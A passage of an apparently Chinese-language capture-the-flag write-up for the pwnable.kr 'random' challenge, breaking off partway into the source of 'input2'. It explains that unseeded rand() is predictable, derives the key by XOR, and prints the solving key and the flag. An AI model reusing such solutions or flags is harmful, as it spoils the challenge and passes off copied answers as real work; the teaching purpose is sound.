  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">random@ubuntu:~$ checksec random
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">[*] &#39;/home/random/random&#39;
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">    Arch:       amd64-64-little
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">    RELRO:      Full RELRO
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">    Stack:      Canary found
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">    NX:         NX enabled
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">    PIE:        PIE enabled
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">    SHSTK:      Enabled
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">    IBT:        Enabled
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">random@ubuntu:~$ ./random
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">111
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">Wrong, maybe you should try 2^32 cases.
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>看样子是猜随机数，gdb调试一下发现不能直接输入<code>0xcafebabe</code>的十进制，有个异或在。scp下载到本地</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-cmd" data-lang="cmd"><span class="line"><span class="ln">1</span><span class="cl">scp -P 2222 random@pwnable.kr:/home/random/random C:\Users\Tajang\Desktop\</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">cmd</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>打算用IDA Pro看一下，才想起来有源码。不知道怎么做，随机的跟什么异或啊，又不是php那种<code>==</code>有弱比较。
查了一下明白了，rand并非是真随机，是伪随机，是算出来的。给的种子不同，算出来的值也不同。种子需要用srand函数设置。这里没有设置，那rand函数默认用的种子是1，那么生成的随机数序列就是根据1算出来的。这个源码，全世界所有电脑运行出来的随机数序列都是一样的。
例子：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">random1</span><span class="p">,</span><span class="n">random2</span><span class="p">,</span><span class="n">random3</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">random1</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">random2</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="n">random3</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;不设置种子</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%d</span><span class="se">\n</span><span class="s">%d</span><span class="se">\n</span><span class="s">%d</span><span class="se">\n\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">random1</span><span class="p">,</span> <span class="n">random2</span><span class="p">,</span> <span class="n">random3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">,</span><span class="n">c</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="nf">srand</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">a</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">b</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="n">c</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;设置种子为1</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%d</span><span class="se">\n</span><span class="s">%d</span><span class="se">\n</span><span class="s">%d</span><span class="se">\n\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">,</span><span class="n">z</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="nf">srand</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">x</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="n">y</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="n">z</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;设置种子为2</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%d</span><span class="se">\n</span><span class="s">%d</span><span class="se">\n</span><span class="s">%d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>output :</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln"> 1</span><span class="cl">不设置种子
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">1804289383
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">846930886
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">1681692777
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">设置种子为1
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">1804289383
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">846930886
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">1681692777
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">设置种子为2
</span></span><span class="line"><span class="ln">12</span><span class="cl">1505335290
</span></span><span class="line"><span class="ln">13</span><span class="cl">1738766719
</span></span><span class="line"><span class="ln">14</span><span class="cl">190686788</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>可以看到区别，不设置种子与种子1，序列一样的。这里直接计算<code>0xcafebabe</code> xor <code>1804289383</code>就是key
脚本：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">random@ubuntu:~$ python
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">Python 3.10.12 (main, Feb  4 2025, 14:57:36) [GCC 11.4.0] on linux
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information.
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; print<span class="o">(</span><span class="m">1804289383</span> ^ 0xcafebabe<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">2708864985
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; quit<span class="o">()</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">random@ubuntu:~$ ./random
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">2708864985
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">Good!
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">m0mmy_I_can_predict_rand0m_v4lue!
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="input2">input2<a class="anchor" href="#input2">#</a></h3>
<blockquote>
<p>Mom? how can I pass my input to a computer program?</p>
<p>ssh <a
  href="mailto:input2@pwnable.kr"
  >input2@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/socket.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;arpa/inet.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[],</span> <span class="kt">char</span><span class="o">*</span> <span class="n">envp</span><span class="p">[]){</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Welcome to pwnable.kr</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Let&#39;s see if you know how to give input to program</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Just give me correct inputs then you will get the flag :)</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="c1">// argv
</span></span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="c1">// 需100个参数，argv[65]是空字节，argv[66]是空格换行回车
</span></span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">100</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">strcmp</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="sc">&#39;A&#39;</span><span class="p">],</span><span class="s">&#34;</span><span class="se">\x00</span><span class="s">&#34;</span><span class="p">))</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">strcmp</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="sc">&#39;B&#39;</span><span class="p">],</span><span class="s">&#34;</span><span class="se">\x20\x0a\x0d</span><span class="s">&#34;</span><span class="p">))</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Stage 1 clear!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="c1">// stdio
